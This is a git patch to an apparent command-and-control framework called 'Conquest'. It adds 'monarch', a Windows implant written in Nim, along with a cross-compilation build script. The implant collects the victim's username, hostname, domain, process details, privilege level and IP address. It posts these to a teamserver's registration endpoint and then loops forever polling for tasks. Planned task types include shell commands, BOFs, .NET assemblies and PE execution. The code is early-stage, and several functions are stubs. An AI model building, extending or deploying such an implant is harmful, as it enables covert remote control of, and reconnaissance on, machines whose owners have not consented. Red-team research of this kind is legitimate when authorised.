From c55a9f9443bac8a0fa6daf124cc64fada9e64c00 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Mon, 19 May 2025 21:56:34 +0200 Subject: [PATCH] Added monarch agent --- .gitignore | 2 +- agents/README.md | 13 +++++ agents/monarch/agentinfo.nim | 65 +++++++++++++++++++++ agents/monarch/build.sh | 3 + agents/monarch/client.nim | 40 +++++++++++++ agents/monarch/commands/shell.nim | 3 + agents/monarch/http.nim | 54 +++++++++++++++++ agents/monarch/types.nim | 25 ++++++++ server/agent/agent.nim | 11 +--- server/agent/{commands.nim => interact.nim} | 11 +++- 10 files changed, 215 insertions(+), 12 deletions(-) create mode 100644 agents/README.md create mode 100644 agents/monarch/agentinfo.nim create mode 100644 agents/monarch/build.sh create mode 100644 agents/monarch/client.nim create mode 100644 agents/monarch/commands/shell.nim create mode 100644 agents/monarch/http.nim create mode 100644 agents/monarch/types.nim rename server/agent/{commands.nim => interact.nim} (86%) diff --git a/.gitignore b/.gitignore index 8b52d98..3e912c5 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,5 @@ # Ignore agents -agents/ +# agents/ *.db # Ignore binaries */bin/* diff --git a/agents/README.md b/agents/README.md new file mode 100644 index 0000000..af3d56f --- /dev/null +++ b/agents/README.md @@ -0,0 +1,13 @@ +# Conquest Agents + +For cross-compilation from UNIX to Windows, use the following command: + +```bash +nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim +``` + +or + +``` +./build.sh +``` \ No newline at end of file diff --git a/agents/monarch/agentinfo.nim b/agents/monarch/agentinfo.nim new file mode 100644 index 0000000..93adae8 --- /dev/null +++ b/agents/monarch/agentinfo.nim @@ -0,0 +1,65 @@ +import winim, os, net + +import ./types + +# Username +proc getUsername*(): string = + const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format) + var + buffer = newWString(UNLEN + 1) + dwSize = DWORD buffer.len + + GetUserNameExW(NameSamCompatible, &buffer, &dwSize) + return $buffer[0 ..< int(dwSize)] + +# Hostname/Computername +proc getHostname*(): string = + var + buffer = newWString(CNLEN + 1) + dwSize = DWORD buffer.len + + GetComputerNameW(&buffer, &dwSize) + return $buffer[0 ..< int(dwSize)] + +# Domain Name +proc getDomain*(): string = + const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format) + var + buffer = newWString(UNLEN + 1) + dwSize = DWORD buffer.len + + GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize) + return $buffer[ 0 ..< int(dwSize)] + + +# Current process name +proc getProcessExe*(): string = + let + hProcess: HANDLE = GetCurrentProcess() + buffer = newWString(MAX_PATH + 1) + + try: + if hProcess != 0: + if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH): + # .extractFilename() from the 'os' module gets the name of the executable from the full process path + return string($buffer).extractFilename() + finally: + CloseHandle(hProcess) + +# Current process ID +proc getProcessId*(): int = + return int(GetCurrentProcessId()) + +# Current process elevation/integrity level +proc isElevated*(): bool = + # isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges + return isAdmin() + +# IPv4 Address (Internal) +proc getIPv4Address*(): string = + # getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent + return $getPrimaryIpAddr() + +# Windows Version +proc getOSVersion*(): string = + discard \ No newline at end of file diff --git a/agents/monarch/build.sh b/agents/monarch/build.sh new file mode 100644 index 0000000..e389c49 --- /dev/null +++ b/agents/monarch/build.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim new file mode 100644 index 0000000..d00eb66 --- /dev/null +++ b/agents/monarch/client.nim @@ -0,0 +1,40 @@ +import strformat, os, times +import winim + +import ./[types, http] +import commands/shell + +proc main() = + + #[ + The process is the following: + 1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings + 2. Agent collects information relevant for the registration (using Windows API) + 3. Agent registers to the teamserver + 4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate + ]# + + let listener = "NVIACCXB" + let agent = register(listener) + echo fmt"[+] [{agent}] Agent registered." + + #[ + Infinite Routine: + 1. Sleep Obfuscation + 2. Retrieve task from /tasks endpoint + 3. Execute task and post result to /results + 4. If additional tasks have been fetched, go to 2. + 5. If no more tasks need to be executed, go to 1. + ]# + while true: + + sleep(10 * 1000) + + let date: string = now().format("dd-MM-yyyy HH:mm:ss") + echo fmt"[{date}] Checking for tasks..." + + discard getTasks(listener, agent) + + +when isMainModule: + main() \ No newline at end of file diff --git a/agents/monarch/commands/shell.nim b/agents/monarch/commands/shell.nim new file mode 100644 index 0000000..b28598d --- /dev/null +++ b/agents/monarch/commands/shell.nim @@ -0,0 +1,3 @@ +import winim + +import ../types diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim new file mode 100644 index 0000000..b9ef992 --- /dev/null +++ b/agents/monarch/http.nim @@ -0,0 +1,54 @@ +import httpclient, json, strformat, asyncdispatch + +import ./[types, agentinfo] + +proc register*(listener: string): string = + + let client = newAsyncHttpClient() + + # Define headers + client.headers = newHttpHeaders({ "Content-Type": "application/json" }) + + # Create registration payload + let body = %*{ + "username": getUsername(), + "hostname":getHostname(), + "domain": getDomain(), + "ip": getIPv4Address(), + "os": getOSVersion(), + "process": getProcessExe(), + "pid": getProcessId(), + "elevated": isElevated() + } + + echo $body + + try: + # Register agent to the Conquest server + let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) + return responseBody + except HttpRequestError as err: + echo "Registration failed" + quit(0) + finally: + client.close() + +proc getTasks*(listener: string, agent: string): seq[Task] = + + let client = newAsyncHttpClient() + + try: + # Register agent to the Conquest server + let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks") + echo responseBody + + except HttpRequestError as err: + echo "Not found" + quit(0) + finally: + client.close() + + return @[] + +proc postResults*(listener: string, agent: string, results: string) = + discard \ No newline at end of file diff --git a/agents/monarch/types.nim b/agents/monarch/types.nim new file mode 100644 index 0000000..dfd26e8 --- /dev/null +++ b/agents/monarch/types.nim @@ -0,0 +1,25 @@ +import winim + +type + TaskCommand* = enum + ExecuteShell = "shell" + ExecuteBof = "bof" + ExecuteAssembly = "dotnet" + ExecutePe = "pe" + + TaskStatus* = enum + Created = "created" + Completed = "completed" + Pending = "pending" + Failed = "failed" + Cancelled = "cancelled" + + TaskResult* = string + + Task* = ref object + id*: int + agent*: string + command*: TaskCommand + args*: seq[string] + result*: TaskResult + status*: TaskStatus diff --git a/server/agent/agent.nim b/server/agent/agent.nim index b9dceda..fcaea06 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -1,5 +1,5 @@ import terminal, strformat, strutils, tables -import ./commands +import ./interact import ../[types, globals, utils] import ../db/database @@ -131,11 +131,4 @@ proc register*(agent: Agent): bool = cq.add(agent) cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") - return true - -#[ - Agent interaction mode - When interacting with a agent, the following functions are called: - - addTask, to add a new tasks to the agents task queue - - getTaskResult, get the result for the task from the agent -]# \ No newline at end of file + return true \ No newline at end of file diff --git a/server/agent/commands.nim b/server/agent/interact.nim similarity index 86% rename from server/agent/commands.nim rename to server/agent/interact.nim index 1666b98..3e26070 100644 --- a/server/agent/commands.nim +++ b/server/agent/interact.nim @@ -2,7 +2,7 @@ import argparse, times, strformat, terminal import ../[types] #[ - Agnet Argument parsing + Agent Argument parsing ]# var parser = newParser: help("Conquest Command & Control") @@ -44,4 +44,11 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = except UsageError: cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg()) - cq.writeLine("") \ No newline at end of file + cq.writeLine("") + +proc createTask*(args: varargs[string]): Task = + discard + +proc addTask*(cq: Conquest, agent: Agent, task: Task) = + discard +